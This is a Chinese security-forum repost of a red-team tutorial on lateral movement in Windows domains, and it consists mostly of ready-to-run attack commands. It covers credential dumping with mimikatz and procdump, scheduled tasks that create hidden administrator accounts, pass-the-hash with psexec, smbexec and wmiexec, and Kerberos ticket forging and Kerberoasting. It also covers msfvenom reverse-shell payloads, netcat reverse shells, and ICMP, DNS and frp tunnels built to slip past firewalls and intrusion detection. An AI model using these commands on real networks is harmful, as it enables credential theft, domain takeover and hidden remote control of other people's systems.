安全矩阵

 找回密码
 立即注册
搜索
查看: 2518|回复: 0

红队横向渗透

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-5-28 15:06:32 | 显示全部楼层 |阅读模式

红队横向渗透威胁猎人 [url=]威胁猎人[/url] 2022-05-21 18:47 发表于陕西
收录于合集
#渗透1个
#搬运工1个
横向渗透at&schtasks命令案例一 横向渗透明文传递at&schtasks本身就是系统命令,不会被免杀
创建计划任务,前提是获得目标系统的用户明文文密码,作用可以在远程主机上执行命令
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->mimikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
#提升权限privilege::debug#抓取密码sekurlsa::logonpasswords
利用流程(建立在明文密码和用户名)1.建立IPC链接到目标主机2.拷贝要执行的命令脚本到目标主机3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本4.删除IPC链接
#建立 IPC 常见的错误代码(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限(2)51:网络问题,Windows 无法找到网络路径(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除(6)1326:账号密码错误(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
需要工具
mimikatz at < Windows 2012 schtasks >= Windows 2012
条件
1.对方开启139、445端口,或防火墙关闭2.操作系统在2003以上3.普通用户权限也可以连接其他主机,只要有对方的用户名和密码
# 通过前期的信息收集,得知域控的地址为test.com,用户名为administrator 密码123.com直接连接net user # 查看链接net user \\192.168.216.10\ipc$ 123.com /user:test\administrator  # 连接域控# 连接成功后,拷贝执行文件到目标机器at \\192.168.216.10
add.bat文件
net user xiaojidong qwe123!@ /add# 创建隐藏用户并添加到管理员组中net user xiaojidong$ qwe123!@ /addnet localgroup administrators xiaojidong$ /add
# 在桌面创建一个bat文件,不要在C盘路径创建,有可能需要域控权限copy add.bat \\192.168.216.10\c$  # 将文件放入域控C盘下# 创建任务net time /domainat \\192.168.216.10 21:11 c:\add.bat  # 执行add.abt 在21:11分  # 注意c:\的这个\必须要加dir \\192.168.216.10 c$ # 查看C盘下面的文件# 如果对方是windows>=2012,则用schtasks# 如果没有链接成功,将ip地址换成计算机名创建完任务后还要删除add.bat文件,不过执行命令未能删除# 查看计划任务at \\192.168.216.10# 创建一个任务,然后去执行任务schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务# 会回显一个交互schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
impacket-atexec是第三方工具,有可能被杀掉,需要进行免杀
Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中解析出来,面向对象的 API 使处理深层协议变得简单
支持的协议
•以太网,Linux“熟”捕获。•IP、TCP、UDP、ICMP、IGMP、ARP。•IPv4 和 IPv6 支持。•NMB 和 SMB1、SMB2 和 SMB3(高级实现)。•MSRPC 版本 5,通过不同的传输:TCP、SMB/TCP、SMB/NetBIOS 和 HTTP。•普通、NTLM 和 Kerberos 身份验证,使用密码/哈希/票证/密钥。•以下 MSRPC 接口的部分/完整实现:EPM、DTYPES、LSAD、LSAT、NRPC、RRP、SAMR、SRVS、WKST、SCMR、BKRP、DHCPM、EVEN6、MGMT、SASEC、TSCH、DCOM、WMI、OXABREF、NSPI、 OXNSPI。•TDS (MSSQL) 和 LDAP 协议实现的部分内容。
#案例 2-横向渗透明文 HASH 传递 atexec-impacketatexec.exe ./administrator:123/@192.168.3.21 "whoami"atexec.exe god/administrator:abc.123.com@192.168.10.1 "ver"atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.10.1 "whoami"  # 该hash值是通过minikatz抓取的
案例三 横向渗透明文HASH传递批量-综合# 用ping命令探测内网网段存活的主机for /L %i in (1,1,254) DO @ping -w 1 -n 1 192.168.216.%i | findstr "TTL="# 批量传递FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文# 连接FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文# 回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP# 回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH 对应 IP
案例四 横向渗透明文HASH传递批量利用除了收集了明文和HASH,也可以收集到用户名
那么可以IP变、明文或HASH变,用户名变
可以用Python写,pyinstaller打包
注意•Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码•Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
这针对的就是mimikatz从内存中获取明文密码
因此我们可以通过下面5种方式解决此问题
1.利用哈希hash传递(pth,ptk等)进行移动2.利用其他服务协议(SMB,WMI等)进行哈希移动3.at & schtasks & impacket-atexec
前两种是得到hash值后进行hash传递
1.利用注册表操作开启Wdigest Auth值进行获取
# 修改注册表命令reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
1.利用工具或第三方平台(Hachcat)进行破解获取
利用工具破解hash值
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash
Procdump+Mimikatz配合获取
Procdump 是Windows官方的一款exe工具,原理是用Procdump(不会被杀)工具在管理员的权限下生成一个dmp文件,然后利用Mimikatz从该dmp文件中读取密码,该方法不需要将Mimikatz工具放入目标主机,不用做免杀
# 用管理员命令执行procdump.exe -accepteula -ma lsass.exe lsass.dmp# 打开mimikatz工具# 先权限提升privilege::debug#导入文件sekurlsa::minidump lsass.dmp#读取文件sekurlsa::logonPasswords full
hashcat破解获取Windows NTML HASH
hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等
kali里面可以通过apt下载
准备工具
•字典
hashcat -a 0 -m 1000 hash file --force
基本参数
•-m 指定哈希类别,其值为数字
                                        数字                        对应的hash               
                                                        0                        MD5               
                                        100                        SHA1               
                                        1300                        SHA2-224               
                                        1400                        SHA2-256               
                                        3000                        LM               
                                        1000                        NTLM                •-a 指定攻击模式,-a 0 字典攻击 -a 1 组合攻击 -a 3掩码攻击•--force 单独破解一条md5需要加force参数

利用SMB服务可以通过明文或hash传递来远程执行
SMB是Windows系统的协议名,用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现,默认端口445
文件共享是指主动地在网络上共享自己的计算机文件。一般文件共享使用P2P模式,文件本身存在用户本人的个人电脑上。大多数参加文件共享的人也同时下载其他用户提供的共享文件。有时这两个行动是连在一起的。在很早期的windows中(windows2000以下),文件共享服务是利用TCP的139端口实现的,服务名是SMB。后来,微软又把SMB改名为CIFS协议,并且使用的是TCP的445端口
条件:开放445端口,并且知道对方的用户名和密码或者hash
利用psexec(官方工具)方法一:先有ipc链接,psexec需要明文或hash传递
# 建立链接net use \\192.168.10.1\ipc$ "abc.123.com" /user:administrator# 利用psexec横向渗透pesexec \\192.168.10.1 -s cmd  # -s 以system权限运行
方法二:不用建立IPC直接提供明文账户密码
psexec \\192.168.10.1 -u administrator -p Admin12345 -s cmd# 当通过hash传递的时候出现问题时,可以通过非官方的impacket工具包,工具包里面也有psexec(可能会免杀)psexec -hashes HASH$ ./administrator@10.1.2.3psexec -hashes HASH$ domain/administrator@10.1.2.3psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.10.1
采用非官方自带工具smbexec(操作简单,容易被杀)# 无需ipc链接,可以明文或hash传递smbexec god/administrator:Admin12345@192.168.10.1smbexec ./administrator:abc.123.com@192.168.10.1smbexec -hashes HASH$ ./admin@192.168.10.1smbbexec -hashes HASH$ domain/admin@192.168.3.21smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
利用WMI服务进行利用
WMI是通过135端口进行利用,支持用户名明文或者hash的方式认证,并且该方法不会在目标日志留下痕迹
自带WMIC 明文传递 无回显(不会被杀)# 复现成功有点慢wmic /node:192.168.10.1 /user:administrator /password:abc.123.com process call create "cmd.exe /c ipconfig >C:\1.txt"
自带cscript明文传递 无回显# 直接会反弹对方的shell,权限为administratorcscript //nologo wmiexec.vbs /shell 192.168.10.1 administrator abc.123.com
套件impacket wmiexec 明文或hash传递 有回显exe版本支持明文、hash,但可能会被免杀
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
总结
•官方的工具(at&schtasks&smb&wmi)功能少,不用免杀,只能用明文•第三方工具(impack中的atexec&smbexec&wmiexec)功能多,考虑要免杀,可以明文和hash
因此要更加深入PTH&TT&TK
PTH&TT&TK(三种攻击方式)•PTH(pass the hash) #利用 LM或 ntlm 的值进行的渗透测试•PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试•PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
PTHPTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击
总结: KB2871997 补丁后的影响
•pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接•ptk:打了补丁才能用户都可以连接,采用 aes256 连接
PTT三种攻击方式
•MS14-068•Golden tcket(黄金票据)•SILVER ticket(白银票据)
后两种属于权限维持技术
案例一 横向移动PTH传递-mimikatz
# 未打补丁下的工作组及域连接 PTH ntlm 传递# 提升权限privilege::debug# 抓取密码sekurlsa::logonpasswords# 横向渗透sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455csekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
案例二 横向移动PTK传递-mimikatz(PTK aes256)
# 打补丁后的工作组及域连接:# 打了补丁才能用户都可以连接,采用 aes256 连接# 提升权限privilege::debugsekurlsa::ekeys # 获取aes 256_hmacsekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
总结
•没打补丁 pth可以连接所有用户•打了补丁 pth只能连接administrator,ptk用aes连接所有用户•没打补丁,不能用ptk
案例三 横向移动PTT传递-MS14068&kekeo&local(类似cookie)(存活时间大概十个小时)
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到 内存中实现连接。MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据) 其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术 MS14-068
•MS14-068
1.查看当前 sid whoami/user2.mimikatz # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造两种方式清除凭证  # 不用管理员权限kerberos::purge klist purge3.利用 ms14-068 生成 TGT 数据ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码MS14-068.exe -u wz@test.com -s S-1-5-21-2706014596-4246955829-71840847-1114 -d 192.168.10.1 -p 123.com!4.票据注入内存mimikatz.exekerberos::ptc TGT_wz@test.com.ccacheexit5.查看凭证列表klist6.利用dir \\192.168.3.21\c$dir \\dc01.test.com\c$或者计算机名
•kekeo工具
1.生成票据.\kekeo "tgt::ask /user:wz /domain:test.com /ntlm:518b98ad4178a53695dc997aa02d455c"kekeo "tgt::ask /user:wz /domain:test.com /ntlm:518b98ad4178a53695dc997aa02d455c"2.导入票据kerberos::ptt TGT_wz@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi3.查看凭证 klist4.利用 net use 载入dir \\192.168.10.1\c$dir \\dc01.test.com\c$
•利用本地票据(需要管理权限)
这个主要是其他用户在本机上登录过,该电脑上存在其他用户的票据,存活时间大概十小时,这样可以伪装其他用户去登录主机
sekurlsa::tickets /exportkerberos::ptt xxxxxxxxxx.xxxx.kirbi # 筛选下导入内存的票据 当导出票据后,最好将票据和mimikatz放在同一个目录中
案例四 国产Ladon内网杀器
Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。8.6版本内置115个功能模块,外部模块18个,通过多种协议以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、数据库等信息,漏洞检测包含MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列等,密码爆破13种含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(wmiexe/psexec/atexec/sshexec/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动
信息收集-协议扫描-漏洞探针-传递攻击
Cobalt Strike案例一 横向移动RDP传递-Mimikatz
远程连接协议,3389端口
# 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作# RDP明文密码链接(对方的3389端口是否开启)通过端口扫描来判断,连接不成功,说明对方端口关闭windows: mstscmstsc.exe /console /v:192.168.10.1 /adminlinux: rdesktop 192.168.10.1:3389# RDP密文HASH链接# windows server需要开启 Restricted Admin mode,在Windows8.1和Windows server 2012 R2中默认开启,同时如果windows 7和Windows server 2008R2安装了2871997、2973351补丁也支持;开启命令REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f# 开启后运行mstsc.exe /restrictedadminmimikatz.exeprivilege::debugsekurlsa::pth /user:administrator /domain:god /ntlm:ccef2-8c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
案例二 横向渗透SPN服务-探针,请求,破解,重写(比较鸡肋)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求去运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务账户加密票证,以便服务能够验证用户是否可以访问,请求的kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务账户的NTLM密码哈希用于加密服务票证,黑客将收到的TGS票据离线进行破解,即可得到目标服务账号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户账户注册的任意SPN,那么该用户账户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键
SPN扫描也称为“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描,SPN扫描通过请求特定SPN类型的服务主体名称来查找服务,与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志),因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大
由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描
步骤
1.探针setspn -q */*  # 扫描全部,探测服务,端口  # 普通域用户权限都可以setspn -q */* | findstr "MSSQL"2.请求Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxxx"  # 刚才得到的服务MSSQL或mimikatz.exekerberos::ask /target:xxxx# 导出mimikatz.exe "kerberos::list /export"3.破解python tgsrepcrack.py password.txt xxxx.kirbipython3 ./tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi4.重写python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 # -u 管理员500python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 # -g 组 管理员组512mimkatz.exe kerberos::ptt xxxx.kirbi  # 将生成的票据注入内存
案例三 CS一把梭哈(Cobalt Strike)
内网漫游Socks代理隧道技术代理解决
•内网有外网•内网有过滤•内网无外网
方向
•正向•反向
工具
•nps•frp *•ngrok *•reGeorg *•sockscap64•earthworm(停止更新)•proxifier•proxychairs
基础知识
•内网地址是私有网段,10.10 192.168. 172.16•两个内网要实现通信,用代理来解决•控制端连接被控(正向) 被控连接控制端(反向)
案例一 内网穿透Ngrok测试演示-两个内网通讯上线
肉鸡在A内网,攻击机在B内网,两者实现通信
1.ngrok使用(需要花钱稳定)
注册-购买-填写-确认http地址
./sunny clientid ngrok地址# http://zzzzssw.free.idcfengye.com -> 192.168.216.165:1234# 确保状态为online# 用msfvenom生成后门msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcengye.com lport=80 -f exe -o test.exe  # 这个端口对应的是执行test.exe文件的服务器的端口# 配置后门的监听状态use exploit/multi/handlerset payload windows/meterpreter/reverse_http  # 这里的http协议与ngrok设置的协议一致,一般用的是tcp协议# 监听的是本地端口和ipset lhost 192.168.76.132(kali地址)set lport 4444 # 这个端口是kali监听的端口,这个端口和在ngrok设置的端口要一致exploit# 然后再运行对方的test.exe文件,相当于对方来连接本机,属于反向代理
1.内网穿透Frp自建跳板测试-两个内网通讯上线
自行搭建,方便修改,成本低,使用多样化(一定不要用阿里云,这个需要修改安全组配置出入口)
# 需要自己的服务器1.服务端-下载-解压-修改-启动服务器修改配置文件 frps.ini:[common]bind_port = 6677启动服务端:./frps -c ./frps.ini2.控制端-下载-解压-修改-启动控制端修改配置文件 frpc.ini:[common]server_addr = 你的云主机 ipserver_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致[msf]type = tcplocal_ip = 127.0.0.1local_port = 5555 #转发给本机的 5555remote_port = 6000 #服务端用 6000 端口转发给本机启动客户端:./frpc -c ./frpc.inimsfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exeuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 5555exploit3.靶机运行 frp 即可
隧道(主要用在域里面,因为域控可以设置策略)
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等,不仅解决网络通信问题,还能解决防火墙过滤问题、入侵检测系统(红蓝对抗)
作用
•防护墙过滤问题•网络连接通信问题•数据回链封装问题
知识点
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的 通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有三种
1.网络层:IPV6隧道、ICMP隧道2.传输层:TCP隧道、UDP隧道、常规端口转发3.应用层:SSH隧道、HTTP/S隧道、DNS隧道
应用条件
已经获得了一些控制权,但是服务端无法被控制,不能完整的展示
案例一 网络传输应用层检测连通性(如果想用tcp隧道,那么就先要检测tcp协议是否支持)
1.TCP协议
瑞士军刀(nc)
nc 139.186.198.33 port
2.HTTP协议
用“curl”工具,执行 curl 命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息
curl <ip地址:端口>
3.ICMP协议
ping
4.DNS协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令
案例二 网络层ICMP隧道pingtunnel使用-检测-利用
# 先检测icmp协议是否利用,如果可以利用,则可以使用ICMP协议建立隧道 pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)-lp ##表示需要监听的本地 tcp 端口-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)-x ##设置连接的密码Webserver:./ptunnel -x xiaodi  # 构建一个隧道Hacker xiaodi:./ptunnel -p 192.168.76.150(webserver的外网) -lp(hacker 主机的端口) 1080 -da(目标地址) 192.168.33.33 -dp(目标端口) 3389 -x xiaodi(密码) #转发的 3389请求数据给本地 1080Hacker xiaodi:rdesktop 127.0.0.1 1080老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
案例三 传输层转发隧道Portmap或lcx使用-检测-利用
•Windows:lcx•Linux:Portmap
# 两台主机lcx -slave (中间机)IP 3131 127.0.0.1 3389 //将本地 3389 给中间机的3131端口lcx -listen 3131 3333 //监听 3131 转发至 3333(中间机)# 第三台攻击机# 建立成功后用rdesktop 192.168.76.143:3333(攻击机,连接的是中间机的ip)
案例四 传输层转发隧道Netcat使用-检测-利用 确保nc最新版本
1.双向连接反弹 shell正向:攻击连接受害    受害:        nc -lvvp 1234 -e /bin/sh //linux              nc -lvvp 1234 -e c:\windows\system32\cmd.exe //windows    攻击:     nc 192.168.76.132 1234 //主动连接反向:受害连接攻击    攻击:     nc -lvvp 1234    受害:     nc 攻击主机 IP 1234 -e /bin/sh //linux              nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe //windows2.多向连接反弹 shell-配合转发反向:    god\Webserver:Lcx.exe -listen 2222 3333    god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe    kali 或本机:nc -v 192.168.76.143 33333.相关 netcat 主要功能测试    端口扫描:nc -v -z 192.168.76.143 1-100    端口监听:nc -lvp xxxx    文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1    反弹 Shell:见上
案例五 应用层 DNS 隧道配合 CS 上线-检测,利用
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
CS生成的监听器实际上就是一个隧道,CS生成的监听器一定要看对方支持的协议什么,然后生成什么种类的监听器
1.云主机 Teamserver 配置端口 53 启用-udp2.买一个域名修改解析记录如下:A 记录->cs 主机名->CS 服务器 IPNS 记录->ns1 主机名->上个 A 记录地址NS 记录->ns2 主机名->上个 A 记录地址3.配置 DNS 监听器内容如下:ns1.xiaodi8.comns2.xiaodi8.comcs.xiaodi8.com4.生成后门执行上线后启用命令:beacon> checkin
  • Tasked beacon to checkinbeacon> mode dns-tx
    MSF&CobaltStrike联动Shell
    针对点不同,各种重点不同,因此要转发联动
    cs 向 msf创建Foriegn监听器-msf监听模块设置对应地址端口-cs执行spawn选择监听器就是msf上的监听模块use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 5555exploitmsf 向 cscs 创建监听器-msf载入新模块注入设置对应地址端口-执行cs等待上线模块use exploit/windows/local/payload_injectset payload windows/meterpreter/revers_tcp(该模块与cs设置的监听器名字要一致)set lport 5566set lhost ipset session 4(要反弹msf上的对应shell)

  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-30 04:54 , Processed in 0.014550 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表